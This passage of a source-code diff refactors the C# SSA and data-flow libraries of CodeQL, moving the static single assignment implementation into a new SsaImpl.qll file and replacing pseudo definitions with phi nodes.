properties, SSA construction - * for captured variables relies on implicit update nodes at every call - * site that conceivably could reach an update of the captured variable. - * For example, there is an implicit update of `v` on line 4 in - * - * ```csharp - * int M() { - * int i = 0; - * Action a = () => { i = 1; }; - * a(); // implicit update of `v` - * return i; - * } - * ``` - * - * We find update paths of the form: - * - * ``` - * Call --(callEdge)-->* Callable(update of v) - * ``` - * - * For simplicity, and for performance reasons, we ignore cases where a path - * goes through the callable that introduces `v`; such a path does not - * represent an actual update, as a new copy of `v` is updated. - */ - private module CapturedVariableImpl { - /** - * A local scope variable that is captured, and updated by at least one capturer. - */ - private class CapturedWrittenLocalScopeVariable extends LocalScopeVariable { - CapturedWrittenLocalScopeVariable() { - exists(AssignableDefinition def | def.getTarget() = this | - def.getEnclosingCallable() != this.getCallable() - ) - } - } - - private class CapturedWrittenLocalScopeSourceVariable extends LocalScopeSourceVariable { - CapturedWrittenLocalScopeSourceVariable() { - this.getAssignable() instanceof CapturedWrittenLocalScopeVariable - } - } - - private class CapturedWrittenLocalScopeVariableDefinition extends AssignableDefinition { - CapturedWrittenLocalScopeVariableDefinition() { - this.getTarget() instanceof CapturedWrittenLocalScopeVariable - } - } - - /** - * Holds if `vdef` is an update of captured variable `v` in callable `c` - * that is relevant for SSA construction. - */ - private predicate relevantDefinition( - Callable c, CapturedWrittenLocalScopeVariable v, - CapturedWrittenLocalScopeVariableDefinition vdef - ) { - exists(BasicBlock bb, int i, CapturedWrittenLocalScopeSourceVariable sv | - vdef.getTarget() = v and - vdef.getEnclosingCallable() = c and - sv.getAssignable() = v and - bb.getNode(i) = vdef.getAControlFlowNode() and - c != v.getCallable() - ) - } - - /** - * Holds if `call` occurs in basic block `bb` at index `i`, captured variable - * `v` has an update somewhere, and `v` is likely to be live in `bb` at index - * `i`. - */ - private predicate updateCandidate( - BasicBlock bb, int i, CapturedWrittenLocalScopeSourceVariable v, Call call - ) { - callAt(bb, i, call) and - call.getEnclosingCallable() = v.getEnclosingCallable() and - exists(Assignable a | - a = v.getAssignable() and - relevantDefinition(_, a, _) and - not exists(AssignableDefinitions::OutRefDefinition def | - def.getCall() = call and - def.getTarget() = a - ) - ) - } - - private predicate source( - Call call, CapturedWrittenLocalScopeSourceVariable v, - CapturedWrittenLocalScopeVariable captured, Callable c, boolean libraryDelegateCall - ) { - updateCandidate(_, _, v, call) and - c = getARuntimeTarget(call, libraryDelegateCall) and - captured = v.getAssignable() and - relevantDefinition(_, captured, _) - } - - /** - * Holds if `c` is a relevant part of the call graph for - * `updatesCapturedVariable` based on following edges in forward direction. - */ - private predicate reachbleFromSource(Callable c) { - source(_, _, _, c, _) - or - exists(Callable mid | reachbleFromSource(mid) | callEdge(mid, c)) - } - - private predicate sink(Callable c, CapturedWrittenLocalScopeVariable captured) { - reachbleFromSource(c) and - relevantDefinition(c, captured, _) - } - - private predicate prunedCallable(Callable c) { - sink(c, _) - or - exists(Callable mid | callEdge(c, mid) and prunedCallable(mid)) - } - - private predicate prunedEdge(Callable c1, Callable c2) { - prunedCallable(c1) and - prunedCallable(c2) and - callEdge(c1, c2) - } - - private predicate edgePlus(Callable c1, Callable c2) = fastTC(prunedEdge/2)(c1, c2) - - /** - * Holds if `call` may change the value of captured variable `v`. The actual - * update occurs in `writer`. That is, `writer` can be reached from `call` - * using zero or more additional calls (as indicated by `additionalCalls`). - * One of the intermediate callables may be the callable that introduces `v`, - * in which case `call` is not an actual update. - */ - pragma[noopt] - private predicate updatesCapturedVariableWriter( - Call call, CapturedWrittenLocalScopeSourceVariable v, Callable writer, boolean additionalCalls - ) { - exists(Callable src, CapturedWrittenLocalScopeVariable captured, boolean libraryDelegateCall | - source(call, v, captured, src, libraryDelegateCall) and - sink(writer, captured) and - ( - src = writer and additionalCalls = libraryDelegateCall - or - edgePlus(src, writer) and additionalCalls = true - ) - ) - } - - /** - * Holds if `call` may change the value of captured variable `v`. The actual - * update occurs in `def`. - */ - cached - predicate updatesCapturedVariable( - BasicBlock bb, int i, Call call, LocalScopeSourceVariable v, AssignableDefinition def, - boolean additionalCalls - ) { - forceCachingInSameStage() and - updateCandidate(bb, i, v, call) and - exists(Callable writer | relevantDefinition(writer, v.getAssignable(), def) | - updatesCapturedVariableWriter(call, v, writer, additionalCalls) - ) - } - } - - private import CapturedVariableImpl - - /** - * Holds if the `i`th node of basic block `bb` is a (potential) write to source - * variable `v`. The Boolean `certain` indicates whether the write is certain. - * - * This includes implicit writes via calls. - */ - private predicate variableWrite(BasicBlock bb, int i, SourceVariable v, boolean certain) { - variableWriteDirect(bb, i, v, certain) - or - variableWriteQualifier(bb, i, v, certain) - or - updatesNamedFieldOrProp(bb, i, _, v, _) and - certain = false - or - updatesCapturedVariable(bb, i, _, v, _, _) and - certain = false - } - - cached - private predicate variableWriteQualifier( - BasicBlock bb, int i, QualifiedFieldOrPropSourceVariable v, boolean certain - ) { - forceCachingInSameStage() and - variableWrite(bb, i, v.getQualifier(), certain) and - // Eliminate corner case where a call definition can overlap with a - // qualifier definition: if method `M` updates field `F`, then a call - // to `M` is both an update of `x.M` and `x.M.M`, so the former call - // definition should not give rise to an implicit qualifier definition - // for `x.M.M`. - not updatesNamedFieldOrProp(bb, i, _, v, _) - } - - /** - * Liveness analysis to restrict the size of the SSA representation for - * captured variables. - * - * Example: - * - * ```csharp - * void M() { - * int i = 0; - * void M2() { - * System.Console.WriteLine(i); - * } - * M2(); - * } - * ``` - * - * The definition of `i` on line 2 is live, because of the call to `M2` on - * line 6. However, that call is not a direct read of `i`, so we account - * for that by inserting an implicit read of `i` on line 6. - * - * The predicates in this module follow the same structure as those in - * `CapturedVariableImpl`. - */ - private module CapturedVariableLivenessImpl { - /** - * Holds if `c` is a callable that captures local scope variable `v`, and - * `c` may read the value of the captured variable. - */ - private predicate capturerReads(Callable c, LocalScopeVariable v) { - exists(LocalScopeSourceVariable sv | - variableReadDirect(_, _, sv, _, _) and - c = sv.getEnclosingCallable() and - v = sv.getAssignable() and - v.getCallable() != c - ) - } - - /** - * A local scope variable that is captured, and read by at least one capturer. - */ - private class CapturedReadLocalScopeVariable extends LocalScopeVariable { - CapturedReadLocalScopeVariable() { capturerReads(_, this) } - } - - private class CapturedReadLocalScopeSourceVariable extends LocalScopeSourceVariable { - CapturedReadLocalScopeSourceVariable() { - this.getAssignable() instanceof CapturedReadLocalScopeVariable - } - } - - /** - * Holds if a write to captured source variable `v` may be read by a - * callable reachable from the call `c`. - */ - private predicate implicitReadCandidate( - CapturedReadLocalScopeSourceVariable v, ControlFlow::Nodes::ElementNode c - ) { - exists(BasicBlock bb, int i | variableWriteDirect(bb, i, v, _) | - c = bb.getNode(any(int j | j > i)) - or - c = bb.getASuccessor+().getANode() - ) - } - - private predicate source( - ControlFlow::Nodes::ElementNode call, CapturedReadLocalScopeSourceVariable v, - CapturedReadLocalScopeVariable captured, Callable c, boolean libraryDelegateCall - ) { - implicitReadCandidate(v, call) and - c = getARuntimeTarget(call.getElement(), libraryDelegateCall) and - captured = v.getAssignable() and - capturerReads(_, captured) - } - - /** - * Holds if `c` is a relevant part of the call graph for - * `readsCapturedVariable` based on following edges in forward direction. - */ - private predicate reachbleFromSource(Callable c) { - source(_, _, _, c, _) - or - exists(Callable mid | reachbleFromSource(mid) | callEdge(mid, c)) - } - - private predicate sink(Callable c, CapturedReadLocalScopeVariable captured) { - reachbleFromSource(c) and - capturerReads(c, captured) - } - - private predicate prunedCallable(Callable c) { - sink(c, _) - or - exists(Callable mid | callEdge(c, mid) and prunedCallable(mid)) - } - - private predicate prunedEdge(Callable c1, Callable c2) { - prunedCallable(c1) and - prunedCallable(c2) and - callEdge(c1, c2) - } - - private predicate edgePlus(Callable c1, Callable c2) = fastTC(prunedEdge/2)(c1, c2) - - /** - * Holds if `call` may read the value of captured variable `v`. The actual - * read occurs in `reader`. That is, `reader` can be reached from `call` - * using zero or more additional calls (as indicated by `additionalCalls`). - * One of the intermediate callables may be a callable that writes to `v`, - * in which case `call` is not an actual read. - */ - pragma[noopt] - private predicate readsCapturedVariable( - ControlFlow::Nodes::ElementNode call, CapturedReadLocalScopeSourceVariable v, Callable reader, - boolean additionalCalls - ) { - exists(Callable src, CapturedReadLocalScopeVariable captured, boolean libraryDelegateCall | - source(call, v, captured, src, libraryDelegateCall) and - sink(reader, captured) and - ( - src = reader and additionalCalls = libraryDelegateCall - or - edgePlus(src, reader) and additionalCalls = true - ) - ) - } - - /** - * Holds if captured local scope variable `v` is written inside the callable - * to which `bb` belongs, and the value may be read via `call` using zero or - * more additional calls (as indicated by `additionalCalls`). - * - * In this case a pseudo-read is inserted at the exit node `node`, at index - * `i` in `bb`, in order to make the write live. - * - * Example: - * - * ```csharp - * class C { - * void M1() { - * int i = 0; - * void M2() { i = 2; }; - * M2(); - * System.Console.WriteLine(i); - * } - * } - * ``` - * - * The write to `i` inside `M2` on line 4 is live because of the implicit call - * definition on line 5. - */ - predicate capturedReadOut( - BasicBlock bb, int i, LocalScopeSourceVariable v, ControlFlow::Nodes::AnnotatedExitNode node, - LocalScopeSourceVariable outer, Call call, boolean additionalCalls - ) { - node.isNormal() and - exists(BasicBlock pred, AssignableDefinition adef | - variableDefinition(pred, _, v, adef) and - updatesCapturedVariable(_, _, call, outer, adef, additionalCalls) and - pred.getASuccessor*() = bb and - node = bb.getNode(i) - ) - } - - /** - * Holds if a value written to captured local scope variable `outer` may be - * read as `inner` via `call`, at index `i` in basic block `bb`, using one or - * more calls (as indicated by `additionalCalls`). - * - * Example: - * - * ```csharp - * class C { - * void M1() { - * int i = 0; - * void M2() => System.Console.WriteLine(i); - * i = 1; - * M2(); - * } - * } - * ``` - * - * The write to `i` on line 5 is live because of the call to `M2` on line 6, which - * reaches the entry definition for `i` in `M2` on line 4. - */ - predicate capturedReadIn( - BasicBlock bb, int i, LocalScopeSourceVariable outer, LocalScopeSourceVariable inner, - ControlFlow::Nodes::ElementNode call, boolean additionalCalls - ) { - exists(Callable reader | - implicitReadCandidate(outer, call) and - readsCapturedVariable(call, outer, reader, additionalCalls) and - reader = inner.getEnclosingCallable() and - outer.getAssignable() = inner.getAssignable() and - call = bb.getNode(i) - ) - } - } - - private import CapturedVariableLivenessImpl - - /** - * Holds if the `i`th node `node` of basic block `bb` reads source variable `v`. - * The read at `node` is of kind `rk`. - * - * This includes implicit reads via calls. - */ - private predicate variableRead( - BasicBlock bb, int i, SourceVariable v, ControlFlow::Node node, ReadKind rk - ) { - variableReadDirect(bb, i, v, node, rk) - or - capturedReadOut(bb, i, v, node, _, _, _) and - rk = CapturedVarExitRead() - or - capturedReadIn(bb, i, v, _, node, _) and - rk = CapturedVarCallRead() - } - - cached - private module SsaImpl { - cached - predicate forceCachingInSameStage() { any() } - - cached - newtype TDefinition = - TWriteDef(SourceVariable v, BasicBlock bb, int i) { - variableWrite(bb, i, v, _) and - liveAfterWrite(bb, i, v, _) - } or - TPhiNode(SourceVariable v, ControlFlow::BasicBlocks::JoinBlock bb) { - phiNodeMaybeLive(bb, v) and - liveAtEntry(bb, v, _) - } - - pragma[noinline] - private predicate phiNodeMaybeLive(ControlFlow::BasicBlocks::JoinBlock bb, SourceVariable v) { - exists(Definition def, BasicBlock bb1 | def.definesAt(v, bb1, _) | - bb1.inDominanceFrontier(bb) - ) - } - - cached - predicate isCapturedVariableDefinitionFlowIn( - ExplicitDefinition def, ImplicitEntryDefinition edef, ControlFlow::Nodes::ElementNode c, - boolean additionalCalls - ) { - exists(Definition def0 | - capturedReadIn(_, _, def.getSourceVariable(), edef.getSourceVariable(), c, additionalCalls) and - def = def0.getAnUltimateDefinition() and - ssaDefReachesRead(_, def0, c, CapturedVarCallRead()) - ) - } - - cached - predicate isCapturedVariableDefinitionFlowOut( - ExplicitDefinition def, ImplicitCallDefinition cdef, boolean additionalCalls - ) { - exists(Definition def0, BasicBlock bb, int i | - def = def0.getAnUltimateDefinition() and - lastRef(def0, bb, i) and - capturedReadOut(bb, i, def0.getSourceVariable(), _, cdef.getSourceVariable(), - cdef.getCall(), additionalCalls) - ) - } - - cached - predicate explicitDefinition(Definition def, SourceVariable v, AssignableDefinition ad) { - exists(BasicBlock bb, int i | - def = TWriteDef(v, bb, i) and - variableDefinition(bb, i, v, ad) - ) - } - } - - private import SsaImpl - private string getSplitString(Definition def) { - exists(BasicBlock bb, int i, ControlFlow::Node cfn | + exists(ControlFlow::BasicBlock bb, int i, ControlFlow::Node cfn | def.definesAt(_, bb, i) and result = cfn.(ControlFlow::Nodes::ElementNode).getSplitsString() | @@ -1805,11 +160,21 @@ module Ssa { /** * A static single assignment (SSA) definition. Either an explicit variable * definition (`ExplicitDefinition`), an implicit variable definition - * (`ImplicitDefinition`), or a pseudo definition (`PseudoDefinition`). + * (`ImplicitDefinition`), or a phi node (`PhiNode`). */ - class Definition extends TDefinition { - /** Gets the source variable underlying this SSA definition. */ - SourceVariable getSourceVariable() { this.definesAt(result, _, _) } + class Definition extends SsaImpl::Definition { + final override SourceVariable getSourceVariable() { + result = SsaImpl::Definition.super.getSourceVariable() + } + + /** + * Gets the control flow node of this SSA definition, if any. Phi nodes are + * examples of SSA definitions without a control flow node, as they are + * modelled at index `-1` in the relevant basic block. + */ + final ControlFlow::Node getControlFlowNode() { + exists(ControlFlow::BasicBlock bb, int i | this.definesAt(_, bb, i) | result = bb.getNode(i)) + } /** * Gets a read of the source variable underlying this SSA definition that @@ -1838,7 +203,7 @@ module Ssa { * - The reads of `this.Field` on lines 10 and 11 can be reached from the phi * node between lines 9 and 10. */ - AssignableRead getARead() { result = this.getAReadAtNode(_) } + final AssignableRead getARead() { result = this.getAReadAtNode(_) } /** * Gets a read of the source variable underlying this SSA definition at @@ -1867,9 +232,12 @@ module Ssa { * - The reads of `this.Field` on lines 10 and 11 can be reached from the phi * node between lines 9 and 10. */ - AssignableRead getAReadAtNode(ControlFlow::Node cfn) { - ssaDefReachesRead(_, this, cfn, ActualRead()) and - result.getAControlFlowNode() = cfn + final AssignableRead getAReadAtNode(ControlFlow::Node cfn) { + exists(ControlFlow::BasicBlock bb, int i | + SsaImpl::ssaDefReachesRead(_, this, bb, i, SsaImpl::ActualRead()) and + cfn = bb.getNode(i) and + result.getAControlFlowNode() = cfn + ) } /** @@ -1906,7 +274,7 @@ module Ssa { * Subsequent reads can be found by following the steps defined by * `AssignableRead.getANextRead()`. */ - AssignableRead getAFirstRead() { result = this.getAFirstReadAtNode(_) } + final AssignableRead getAFirstRead() { result = this.getAFirstReadAtNode(_) } /** * Gets a read of the source variable underlying this SSA definition at @@ -1942,8 +310,8 @@ module Ssa { * Subsequent reads can be found by following the steps defined by * `AssignableRead.getANextRead()`. */ - AssignableRead getAFirstReadAtNode(ControlFlow::Node cfn) { - firstReadSameVar(this, cfn) and + final AssignableRead getAFirstReadAtNode(ControlFlow::Node cfn) { + SsaImpl::firstReadSameVar(this, cfn) and result.getAControlFlowNode() = cfn } @@ -1975,7 +343,7 @@ module Ssa { * - The read of `this.Field` on line 11 is a last read of the phi node * between lines 9 and 10. */ - AssignableRead getALastRead() { result = this.getALastReadAtNode(_) } + final AssignableRead getALastRead() { result = this.getALastReadAtNode(_) } /** * Gets a last read of the source variable underlying this SSA definition at @@ -2005,8 +373,8 @@ module Ssa { * - The read of `this.Field` on line 11 is a last read of the phi node * between lines 9 and 10. */ - AssignableRead getALastReadAtNode(ControlFlow::Node cfn) { - lastReadSameVar(this, cfn) and + final AssignableRead getALastReadAtNode(ControlFlow::Node cfn) { + SsaImpl::lastReadSameVar(this, cfn) and result.getAControlFlowNode() = cfn } @@ -2039,55 +407,14 @@ module Ssa { * definition on line 4, the explicit definition on line 7, and the implicit * definition on line 9. */ - Definition getAnUltimateDefinition() { - result = this.getAPseudoInputOrPriorDefinition*() and - not result instanceof PseudoDefinition + final override Definition getAnUltimateDefinition() { + result = SsaImpl::Definition.super.getAnUltimateDefinition() } - /** - * Gets an SSA definition whose value can flow to this one in one step. This - * includes inputs to pseudo nodes and the prior definition of uncertain updates. - */ - private Definition getAPseudoInputOrPriorDefinition() { - result = this.(PseudoDefinition).getAnInput() or - result = this.(UncertainDefinition).getPriorDefinition() - } - - /** - * Holds is this SSA definition is live at the end of basic block `bb`. That is, - * this definition reaches the end of basic block `bb`, at which point it is still - * live, without crossing another SSA definition of the same source variable. - */ - predicate isLiveAtEndOfBlock(BasicBlock bb) { ssaDefReachesEndOfBlock(bb, this, _) } - /** * DEPRECATED: Use `definesAt/3` instead. */ - deprecated predicate definesAt(BasicBlock bb, int i) { this.definesAt(_, bb, i) } - - /** - * Holds if this SSA definition defines `v` at index `i` in basic block `bb`. - * Phi nodes and entry nodes (captured variables and fields/properties) are - * considered to be at index `-1`, while normal variable updates are at the - * index of the control flow node they wrap. - */ - predicate definesAt(SourceVariable v, BasicBlock bb, int i) { - this = TWriteDef(v, bb, i) - or - this = TPhiNode(v, bb) and i = -1 - } - - /** Gets the basic block to which this SSA definition belongs. */ - BasicBlock getBasicBlock() { this.definesAt(_, result, _) } - - /** - * Gets the control flow node of this SSA definition, if any. Phi nodes are examples - * of SSA definitions without a control flow node, as they are modelled at index - * `-1` in the relevant basic block. - */ - ControlFlow::Node getControlFlowNode() { - exists(BasicBlock bb, int i | this.definesAt(_, bb, i) | result = bb.getNode(i)) - } + deprecated predicate definesAt(ControlFlow::BasicBlock bb, int i) { this.definesAt(_, bb, i) } /** * Gets the syntax element associated with this SSA definition, if any. @@ -2097,25 +424,18 @@ module Ssa { Element getElement() { result = this.getControlFlowNode().getElement() } /** Gets the callable to which this SSA definition belongs. */ - Callable getEnclosingCallable() { result = this.getSourceVariable().getEnclosingCallable() } + final Callable getEnclosingCallable() { + result = this.getSourceVariable().getEnclosingCallable() + } /** * Holds if this SSA definition assigns to `out`/`ref` parameter `p`, and the * parameter may remain unchanged throughout the rest of the enclosing callable. */ - predicate isLiveOutRefParameterDefinition(Parameter p) { - p.isOutOrRef() and - exists(Definition def, BasicBlock bb, int i | - this = def.getAnUltimateDefinition() and - lastRef(def, bb, i) and - variableRead(bb, i, def.getSourceVariable(), _, OutRefExitRead()) and - p = def.getSourceVariable().getAssignable() - ) + final predicate isLiveOutRefParameterDefinition(Parameter p) { + SsaImpl::isLiveOutRefParameterDefinition(this, p) } - /** Gets a textual representation of this SSA definition. */ - string toString() { none() } - /** Gets the location of this SSA definition. */ Location getLocation() { none() } } @@ -2123,18 +443,18 @@ module Ssa { /** * An SSA definition that corresponds to an explicit assignable definition. */ - class ExplicitDefinition extends Definition, TWriteDef { + class ExplicitDefinition extends Definition, SsaImpl::WriteDefinition { SourceVariable sv; AssignableDefinition ad; - ExplicitDefinition() { explicitDefinition(this, sv, ad) } + ExplicitDefinition() { SsaImpl::explicitDefinition(this, sv, ad) } /** * Gets an underlying assignable definition. The result is always unique, * except for pathological `out`/`ref` assignments like `M(out x, out x)`, * where there may be more than one underlying definition. */ - AssignableDefinition getADefinition() { result = getADefinition(this) } + final AssignableDefinition getADefinition() { result = SsaImpl::getADefinition(this) } /** * Holds if this definition updates a captured local scope variable, and the updated @@ -2157,10 +477,10 @@ module Ssa { * If this definition is the update of `i` on line 5, then the value may be read inside * `M2` via the call on line 6. */ - predicate isCapturedVariableDefinitionFlowIn( + final predicate isCapturedVariableDefinitionFlowIn( ImplicitEntryDefinition def, ControlFlow::Nodes::ElementNode c, boolean additionalCalls ) { - isCapturedVariableDefinitionFlowIn(this, def, c, additionalCalls) + SsaImpl::isCapturedVariableDefinitionFlowIn(this, def, c, additionalCalls) } /** @@ -2184,10 +504,10 @@ module Ssa { * If this definition is the update of `i` on line 4, then the value may be read outside * of `M2` via the call on line 5. */ - predicate isCapturedVariableDefinitionFlowOut( + final predicate isCapturedVariableDefinitionFlowOut( ImplicitCallDefinition cdef, boolean additionalCalls ) { - isCapturedVariableDefinitionFlowOut(this, cdef, additionalCalls) + SsaImpl::isCapturedVariableDefinitionFlowOut(this, cdef, additionalCalls) } override Element getElement() { result = ad.getElement() } @@ -2208,17 +528,17 @@ module Ssa { * (`ImplicitCallDefinition`), or an implicit definition where the qualifier is * updated (`ImplicitQualifierDefinition`). */ - class ImplicitDefinition extends Definition { + class ImplicitDefinition extends Definition, SsaImpl::WriteDefinition { ImplicitDefinition() { - exists(BasicBlock bb, SourceVariable v, int i | this = TWriteDef(v, bb, i) | - implicitEntryDefinition(bb, v) and + exists(ControlFlow::BasicBlock bb, SourceVariable v, int i | this.definesAt(v, bb, i) | + SsaImpl::implicitEntryDefinition(bb, v) and i = -1 or - updatesNamedFieldOrProp(bb, i, _, v, _) + SsaImpl::updatesNamedFieldOrProp(bb, i, _, v, _) or - updatesCapturedVariable(bb, i, _, v, _, _) + SsaImpl::updatesCapturedVariable(bb, i, _, v, _, _) or - variableWriteQualifier(bb, i, v, _) + SsaImpl::variableWriteQualifier(bb, i, v, _) ) } } @@ -2228,21 +548,16 @@ module Ssa { * at the beginning of a callable. Either the variable is a local scope variable * captured by the callable, or a field or property accessed inside the callable. */ - class ImplicitEntryDefinition extends ImplicitDefinition, TWriteDef { + class ImplicitEntryDefinition extends ImplicitDefinition { ImplicitEntryDefinition() { - exists(BasicBlock bb, SourceVariable v | - this = TWriteDef(v, bb, -1) and - implicitEntryDefinition(bb, v) + exists(ControlFlow::BasicBlock bb, SourceVariable v | + this.definesAt(v, bb, -1) and + SsaImpl::implicitEntryDefinition(bb, v) ) } /** Gets the callable that this entry definition belongs to. */ - Callable getCallable() { - exists(BasicBlock bb | - this = TWriteDef(_, bb, _) and - result = bb.getCallable() - ) - } + final Callable getCallable() { result = this.getBasicBlock().getCallable() } override Callable getElement() { result = this.getCallable() } @@ -2259,18 +574,19 @@ module Ssa { * An SSA definition representing the potential definition of a variable * via a call. */ - class ImplicitCallDefinition extends ImplicitDefinition, TWriteDef { + class ImplicitCallDefinition extends ImplicitDefinition { private Call c; ImplicitCallDefinition() { - exists(BasicBlock bb, SourceVariable v, int i | this = TWriteDef(v, bb, i) | - updatesNamedFieldOrProp(bb, i, c, v, _) + exists(ControlFlow::BasicBlock bb, SourceVariable v, int i | this.definesAt(v, bb, i) | + SsaImpl::updatesNamedFieldOrProp(bb, i, c, v, _) or - updatesCapturedVariable(bb, i, c, v, _, _) + SsaImpl::updatesCapturedVariable(bb, i, c, v, _, _) ) } - Call getCall() { result = c } + /** Gets the underlying call. */ + final Call getCall() { result = c } /** * Gets one of the definitions that may contribute to this implicit @@ -2278,13 +594,13 @@ module Ssa { * the target of this call following zero or more additional calls, * and which targets the same assignable as this SSA definition. */ - AssignableDefinition getAPossibleDefinition() { - exists(Callable setter | updatesNamedFieldOrProp(_, _, getCall(), _, setter) | + final AssignableDefinition getAPossibleDefinition() { + exists(Callable setter | SsaImpl::updatesNamedFieldOrProp(_, _, getCall(), _, setter) | result.getEnclosingCallable() = setter and result.getTarget() = this.getSourceVariable().getAssignable() ) or - updatesCapturedVariable(_, _, getCall(), _, result, _) and + SsaImpl::updatesCapturedVariable(_, _, getCall(), _, result, _) and result.getTarget() = this.getSourceVariable().getAssignable() } @@ -2299,20 +615,22 @@ module Ssa { * An SSA definition representing the potential definition of a variable * via an SSA definition for the qualifier. */ - class ImplicitQualifierDefinition extends ImplicitDefinition, TWriteDef { + class ImplicitQualifierDefinition extends ImplicitDefinition, SsaImpl::WriteDefinition { private Definition q; ImplicitQualifierDefinition() { - exists(BasicBlock bb, int i, QualifiedFieldOrPropSourceVariable v | - this = TWriteDef(v, bb, i) + exists( + ControlFlow::BasicBlock bb, int i, SourceVariables::QualifiedFieldOrPropSourceVariable v | - variableWriteQualifier(bb, i, v, _) and + this.definesAt(v, bb, i) + | + SsaImpl::variableWriteQualifier(bb, i, v, _) and q.definesAt(v.getQualifier(), bb, i) ) } /** Gets the SSA definition for the qualifier. */ - Definition getQualifierDefinition() { result = q } + final Definition getQualifierDefinition() { result = q } override string toString() { result = getToStringPrefix(this) + "SSA qualifier def(" + getSourceVariable() + ")" @@ -2327,21 +645,14 @@ module Ssa { * * Phi nodes are the canonical (and currently only) example. */ - class PseudoDefinition extends Definition { - PseudoDefinition() { this = TPhiNode(_, _) } - - /** - * Gets an input of this pseudo definition. - */ - Definition getAnInput() { none() } - } + deprecated class PseudoDefinition = PhiNode; /** * An SSA phi node, that is, a pseudo definition for a variable at a point * in the flow graph where otherwise two or more definitions for the variable * would be visible. */ - class PhiNode extends PseudoDefinition, TPhiNode { + class PhiNode extends Definition, SsaImpl::PhiNode { /** * Gets an input of this phi node. Example: * @@ -2364,20 +675,7 @@ module Ssa { * definition on line 4, the explicit definition on line 7, and the implicit * call definition on line 9 as inputs. */ - override Definition getAnInput() { - exists(BasicBlock bb, BasicBlock phiPred, SourceVariable v | - this.definesAt(v, bb, _) and - bb.getAPredecessor() = phiPred and - ssaDefReachesEndOfBlock(phiPred, result, v) - ) - } - - /** Holds if `inp` is an input to the phi node along the edge originating in `bb`. */ - predicate hasInputFromBlock(Definition inp, BasicBlock bb) { - this.getAnInput() = inp and - this.getBasicBlock().getAPredecessor() = bb and - inp.isLiveAtEndOfBlock(bb) - } + final override Definition getAnInput() { result = SsaImpl::PhiNode.super.getAnInput() } override string toString() { result = getToStringPrefix(this) + "SSA phi(" + getSourceVariable() + ")" @@ -2391,12 +689,7 @@ module Ssa { * does not exist in the source program. */ - override Location getLocation() { - exists(ControlFlow::BasicBlocks::JoinBlock bb | - this = TPhiNode(_, bb) and - result = bb.getFirstNode().getLocation() - ) - } + override Location getLocation() { result = this.getBasicBlock().getFirstNode().getLocation() } } /** @@ -2405,27 +698,5 @@ module Ssa { * need not be certain), an implicit non-local update via a call, or an * uncertain update of the qualifier. */ - class UncertainDefinition extends Definition { - UncertainDefinition() { - this = - any(ExplicitDefinition def | - forex(AssignableDefinition ad | ad = def.getADefinition() | not ad.isCertain()) - ) - or - this instanceof ImplicitCallDefinition - or - this.(ImplicitQualifierDefinition).getQualifierDefinition() instanceof UncertainDefinition - } - - /** - * Gets the immediately preceding definition. Since this update is uncertain - * the value from the preceding definition might still be valid. - */ - Definition getPriorDefinition() { ssaDefReachesUncertainDef(_, result, this) } - } - - /** INTERNAL: Do not use. */ - module Internal { - import SsaDefReaches - } + class UncertainDefinition extends Definition, SsaImpl::UncertainWriteDefinition { } } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll index 001e071c651..6e30f8c50fa 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll @@ -10,6 +10,7 @@ private import FlowSummaryImpl as FlowSummaryImpl private import semmle.code.csharp.dataflow.FlowSummary private import semmle.code.csharp.Caching private import semmle.code.csharp.Conversion +private import semmle.code.csharp.dataflow.internal.SsaImpl as SsaImpl private import semmle.code.csharp.ExprOrStmtParent private import semmle.code.csharp.Unification private import semmle.code.csharp.controlflow.Guards @@ -291,7 +292,7 @@ module LocalFlow { or // Flow from read to next read exists(ControlFlow::Node cfnFrom, ControlFlow::Node cfnTo | - Ssa::Internal::adjacentReadPairSameVar(def, cfnFrom, cfnTo) and + SsaImpl::adjacentReadPairSameVar(def, cfnFrom, cfnTo) and nodeTo = TExprNode(cfnTo) | nodeFrom = TExprNode(cfnFrom) @@ -299,11 +300,11 @@ module LocalFlow { cfnFrom = nodeFrom.(PostUpdateNode).getPreUpdateNode().getControlFlowNode() ) or - // Flow into SSA pseudo definition - exists(Ssa::PseudoDefinition pseudo | + // Flow into phi node + exists(Ssa::PhiNode phi | localFlowSsaInput(nodeFrom, def) and - pseudo = nodeTo.(SsaDefinitionNode).getDefinition() and - def = pseudo.getAnInput() + phi = nodeTo.(SsaDefinitionNode).getDefinition() and + def = phi.getAnInput() ) or // Flow into uncertain SSA definition @@ -319,7 +320,7 @@ module LocalFlow { */ predicate usesInstanceField(Ssa::Definition def) { exists(Ssa::SourceVariables::FieldOrPropSourceVariable fp | fp = def.getSourceVariable() | - not fp.getAssignable().isStatic() + not fp.getAssignable().(Modifiable).isStatic() ) } @@ -867,7 +868,7 @@ private module Cached { cached predicate nodeIsHidden(Node n) { exists(Ssa::Definition def | def = n.(SsaDefinitionNode).getDefinition() | - def instanceof Ssa::PseudoDefinition + def instanceof Ssa::PhiNode or def instanceof Ssa::ImplicitEntryDefinition or diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll new file mode 100644 index 00000000000..54cf939e50c --- /dev/null +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll @@ -0,0 +1,1231 @@ +/** + * Provides classes for working with static single assignment (SSA) form. + */ + +import csharp +import SsaImplCommon + +/** A classification of variable reads. */ +newtype TReadKind = + /** An actual read. */ + ActualRead() or + /** + * A pseudo read for a `ref` or `out` variable at the end of the variable's enclosing + * callable. A pseudo read is inserted to make assignments to `out`/`ref` variables + * live, for example line 1 in + * + * ```csharp + * void M(out int i) { + * i = 0; + * } + * ``` + */ + OutRefExitRead() or + /** + * A pseudo read for a captured variable at the end of the capturing + * callable. A write to a captured variable needs to be live for the same reasons + * as a write to a `ref` or `out` variable (see above). + */ + CapturedVarExitRead() or + /** + * A pseudo read for a captured variable via a call. + */ + CapturedVarCallRead() or + /** + * A pseudo read for a `ref` variable, just prior to an update of the referenced value. + * A pseudo read is inserted to make assignments to the `ref` variable live, for example + * line 2 in + * + * ```csharp + * void M() { + * ref int i = ref GetRef(); + * i = 0; + * } + * ``` + * + * The pseudo read is inserted at the CFG node `i` on the left-hand side of the + * assignment on line 3. + */ + RefReadBeforeWrite() + +/** A classification of variable reads. */ +class 